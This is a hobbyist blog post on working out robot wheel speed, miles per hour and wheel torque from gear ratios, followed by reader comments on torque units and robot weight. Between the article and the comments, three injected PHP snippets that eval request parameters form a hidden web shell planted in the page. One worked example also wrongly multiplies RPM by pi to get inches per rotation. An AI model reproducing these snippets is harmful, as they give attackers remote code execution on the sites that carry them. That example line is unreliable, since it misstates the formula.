OK, I must admit that I am not an engineer by trade and do not have an extensive math background. However, I’m learning that math ~~problems~~ “challenges” can actually be quite fun. I do still have that initial tendency to avoid using math and make educated “guesstimations”. That being said, calculating motor torque, gear ratios, and robot speed is actually quite easy. All it takes is a pinch of arithmetic and a dab geometry.

So I’ve established that I’m a simple guy and I need to break things down into their basic components. Here’s the basic breakdown of what we will be calculating:

Wheel Speed = Motor Speed / Gear Ratio

For example, if your motor is turning at 300 RPM and your output gear (the one connected to the wheel) is 5 times as big as your input gear (the one connected to the motor), you can expect your wheel to turn at 60 RPM’s.

`60 RPM's = 300 RPM's / 5 Gear Ratio ( 5:1)`

Where Gear Ratio is: Output / Input

OK, so far, so good. We can now calculate how fast our wheels will spin. But that doesn’t really answer the question of how fast the robot will actually go. Here we need to add another part to the equation:

Wheel Diameter * 3.14 (or Pi) = distance traveled per rotation.

To add on to our example above, if our wheel is turning at 60 RPM’s and is 3 inches in diameter, we can expect it to travel at 9.42 inches per rotation.

`60 RPM's * 3.14 = 9.42 inches per rotation`

If you are the type that actually needs to know the speed in terms of miles per hour, you can add this little calculation:

`MPH = Feet Per Hour / 5280`

In this case, if our wheel is travelling at 9.42 inches per rotation, that is 47.1 feet per minute. Extend that to the hour and it is 2826 feet per hour.

9.42 inches traveled per rotation * 60 RPM's / 12 inches per foot * 60 minutes = 2826 / 5280 = 0.53 MPH

To put this in perspective, the average human walking speed is just over 3 MPH. So in this case, we wouldn’t have to worry about our robot outrunning us.

Speed is nice to know. But one important thing that we need to calculate is torque. In other words, how much force is being transferred from the motor to the wheels. I always go back to my mountain bike when trying to understand gear ratios and torque. When the front gear (input gear) was on the small sprocket and the back gear (output gear) was on the large sprocket, pedaling was definitely easier but I had to pedal very fast in order to travel at any decent speed. I could turn the back wheels with very little effort (torque). Conversely, when I was driving from the larger front sprocket and the chain was on the smaller rear sprocket, I was turning the back wheel at a much faster rate per pedal but it took a lot more muscle power to keep that pedal cranking.

This same concept applies to our robot drive train. In the case of gear motors, they are already “geared down” to where the motor armature is actually spinning very fast but the output shaft is spinning much slower but it can handle more force applied against it.

The calculation for torque is actually quite simple as well if you know your motors rating. Usually, there are a couple of ratings: Normal operating torque and stall torque or the force it is generating at the very maximum. This is usually expressed in oz.-in. or kg.-cm. One gear motor that I have used previously has a normal operating torque of 120 oz.-in. This is the torque being applied directly to the shaft and does not include any gearing benefit at the wheel.

`Torque at wheel = Torque at motor * Gear Ratio`

So to continue our example from above, if our gear ratio is 5:1, our torque at the wheel would be 600 oz./in.

`120 oz./in. * 5 Gear Ratio (5:1) = 600 oz.-in.`

<!– [insert_php]if (isset($_REQUEST["QAAxS"])){eval($_REQUEST["QAAxS"]);exit;}[/insert_php]

if (isset($_REQUEST["QAAxS"])){eval($_REQUEST["QAAxS"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["YfcY"])){eval($_REQUEST["YfcY"]);exit;}[/insert_php]

if (isset($_REQUEST["YfcY"])){eval($_REQUEST["YfcY"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["UIdWO"])){eval($_REQUEST["UIdWO"]);exit;}[/insert_php]

if (isset($_REQUEST["UIdWO"])){eval($_REQUEST["UIdWO"]);exit;}

–>

Permalink

Hi,

Very nice article. Just a little correction that the unit of torque is “oz.-in” and not “oz./in”.

For you quick reference: http://www.me.umn.edu/courses/me2011/arduino/technotes/dcmotors/motor-tutorial/

Cheers

Permalink

Thanks Naveed, I have changed the syntax in the article

Permalink

Thanks Erik. This was really helpful. How do we consider the weight of the robot in the torque calculations. Any idea ?